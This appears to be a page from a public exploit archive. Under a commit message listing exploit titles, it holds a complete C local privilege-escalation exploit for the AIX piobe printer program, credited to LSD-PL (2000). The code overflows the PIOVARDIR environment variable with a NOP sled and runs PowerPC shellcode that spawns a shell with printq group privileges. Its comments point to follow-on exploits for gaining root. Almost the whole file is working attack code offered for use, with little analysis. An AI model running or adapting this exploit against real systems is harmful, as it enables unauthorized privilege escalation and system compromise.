880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
3.2 KiB
C
80 lines
No EOL
3.2 KiB
C
/*
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source: https://www.securityfocus.com/bid/2037/info
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AIX is a variant of the UNIX Operating System, distributed by IBM. A problem exists which can allow a local user elevated priviledges.
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The problem exists in the piobe program. Due to the insuffient handling of the PIOSTATUSFILE, PIOTITLE, and PIOVARDIR environment variables, it's possible to overwrite stack variables. This makes it possible for a malicious user to pass specially formatted strings to the program via environment variables, and potentially gain administrative access.
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*/
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/*## copyright LAST STAGE OF DELIRIUM dec 2000 poland *://lsd-pl.net/ #*/
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/*## /usr/lib/lpd/piobe #*/
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/* note: to avoid potential system hang-up please, first obtain the exact */
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/* AIX OS level with the use of the uname -a or oslevel commands */
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/* this code gives privilages of a printq group and command shell (without */
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/* a prompt). from that point euid=root can be gained with the use of our */
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/* aix_piodmgrsu or aix_digest codes */
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#define ADRNUM 3000
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#define NOPNUM 16000
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char shellcode[]=
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"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
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"\x40\x82\xff\xfd" /* bnel <shellcode> */
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"\x7f\xe8\x02\xa6" /* mflr r31 */
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"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
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"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
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"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
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"\x90\x7f\xff\x10" /* st r3,-240(r31) */
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"\x90\xbf\xff\x14" /* st r5,-236(r31) */
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"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
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"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
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"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
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"\x44\xff\xff\x02" /* svca */
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"/bin/sh\xff"
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;
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char nop[]="\x7f\xff\xfb\x78";
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main(int argc,char **argv,char **e){
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char buffer[20000],adr[4],*b,*envp[4];
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int i,align;
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printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland //lsd-pl.net/\n");
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printf("/usr/lib/lpd/piobe for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n");
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if(argc<2){
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printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1);
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}
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switch(atoi(argv[1])){
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case 41: shellcode[55]=0x03;align=2; break;
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case 42: shellcode[55]=0x02;align=0; break;
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case 43: shellcode[55]=0x04;align=0; break;
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case 433: shellcode[55]=0x03;align=0; break;
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default: exit(-1);
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}
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i=0; while(*e++) i+=strlen(*e)+1;
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*((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;
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envp[0]="PIOSTATUSFILE=lsd";
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envp[1]=buffer;
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envp[2]=&buffer[3500];
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envp[3]=0;
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b=buffer;
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strcpy(b,"PIOVARDIR=");b+=10;
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for(i=0;i<align;i++) *b++=' ';
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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*b=0;
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b=&buffer[3500];
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sprintf(b,"xxx=");b+=4;
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for(i=0;i<3-align;i++) *b++=' ';
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
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execle("/usr/lib/lpd/piobe","lsd",0,envp);
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} |